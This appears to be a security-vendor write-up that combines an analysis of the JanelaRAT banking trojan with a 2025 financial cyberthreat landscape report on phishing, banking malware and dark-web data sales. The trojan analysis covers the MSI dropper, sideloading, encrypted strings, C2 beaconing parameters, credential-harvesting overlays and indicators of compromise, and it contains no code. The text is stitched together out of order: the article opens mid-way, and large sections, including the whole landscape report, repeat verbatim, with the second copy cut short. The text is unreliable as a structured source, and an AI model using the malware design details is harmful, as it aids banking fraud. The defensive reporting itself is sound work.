This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.

Victimology

Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.

According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.

Conclusions

JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.

This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.

To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.

Indicators of compromise

808c87015194c51d74356854dfb10d9e         MSI Dropper
d7a68749635604d6d7297e4fa2530eb6        JanelaRAT
ciderurginsx[.]com         Primary C2

Background

JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.

JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.

The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.

Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.

Initial infection

JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.

Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.

However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.

Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.

Initial dropper

The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.

Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.

The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.

Malicious implant

In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.

JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.

The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.

String encryption

All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.

C2 communication and command handling

After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.

Following socket initialization, the malware launches two background routines:

1. User inactivity and session tracking
   This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
   

   Timer that looks for 10 minutes of inactivity

2. Victim registration and further malicious activity
   This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
   1. The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.

      This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:

      <C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>

      We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.

      Parameter	Description
      VS	JanelaRAT version
      PL	OFF by default
      AN	Yes or No depending on whether banking security software process exists

   2. The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.

      This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.

      If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.

      To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.

      Action Performed	Description
      Capture desktop image	Send compressed screenshots to the C2
      Specific screenshots	Crop specific screen regions and exfiltrate images
      Overlay windows	Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
      Keylogging	Keystroke capture
      Simulate keyboard	Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
      Track mouse input	Move the cursor, simulate clicks, and report the cursor position
      Display message	Show message boxes (custom title, text, buttons, or icons)
      System shutdown	Execute a forced shutdown sequence
      Command execution	Run CMD or PowerShell scripts/commands
      Task Manager manipulation	Launch Task Manager, find its window, and hide it to prevent discovery by the user
      Check for banking security software process	Detect the presence of anti-fraud systems
      Beaconing	Send host information (malware version, profile, presence of banking software)
      Toggle internal modes	Enable and disable modes such as screenshot flow, key injection, or overlay visibility
      Anti-analysis	Detect sandbox or automation tools

C2 infrastructure

Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.

Decoy overlay system

This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.

The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.

Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:

• “Configuring Windows updates, please wait.”
• “Do not turn off your computer; this could take some time.”

When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.

An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.

Anti-analysis techniques

In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.

Persistence

The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.

This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.

Victimology

Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.

According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.

Conclusions

JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.

This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.

To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.

Indicators of compromise

808c87015194c51d74356854dfb10d9e         MSI Dropper
d7a68749635604d6d7297e4fa2530eb6        JanelaRAT
ciderurginsx[.]com         Primary C2

In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.

To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.

We analyzed the data for

• financial phishing,
• banking malware,
• infostealers and the dark web.

Key findings

Phishing

Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.

Banking malware

Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.

Infostealers and the dark web

Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.

Financial phishing

In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.

The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)

Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)

Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)

APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)

In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)

Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)

Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)

Attackers actively localize their tactics to maximize relevance and effectiveness.

The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.

Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.

However, this balance shifts significantly at the regional level.

In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.

Distribution of financial phishing pages by category and region, 2025 (download)

Online shopping scams

The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.

Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.

TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)

Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.

Payment system phishing

Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.

TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)

Financial malware

In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.

Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)

Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.

In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.

There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.

Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.

Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.

Financial cyberthreats on the dark web

The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.

Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.

With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.

Compromised accounts

Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.

The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.

The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.

TOP 10 countries with the highest compromised account median (download)

Compromised payment cards

Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.

It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.

Data breaches

Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.

It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.

Sale of bank accounts and payment cards

The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.

Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.

Compiled databases

Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.

Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.

Creation of phishing websites

Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.

In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.

Conclusion

The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.

Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.

In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.

To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.

We analyzed the data for

• financial phishing,
• banking malware,
• infostealers and the dark web.

Key findings

Phishing

Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.

Banking malware

Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.

Infostealers and the dark web

Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.

Financial phishing

In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.

The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)

Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)

Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)

APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)

In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)

Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)

Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.

TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)

Attackers actively localize their tactics to maximize relevance and effectiveness.

The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.

Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.

However, this balance shifts significantly at the regional level.

In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.

Distribution of financial phishing pages by category and region, 2025 (download)

Online shopping scams

The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.

Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.

TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)

Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.

Payment system phishing

Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.

TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)

Financial malware

In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.

Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)

Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.

In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.

There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.

Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.

Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.

Financial cyberthreats on the dark web

The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.

Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.

With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.

Compromised accounts

Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.

The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.

The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.

TOP 10 countries with the highest compromised account median (download)

Compromised payment cards

Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.

It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.

Data breaches

Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.

It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.

Sale of bank accounts and payment cards

The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.

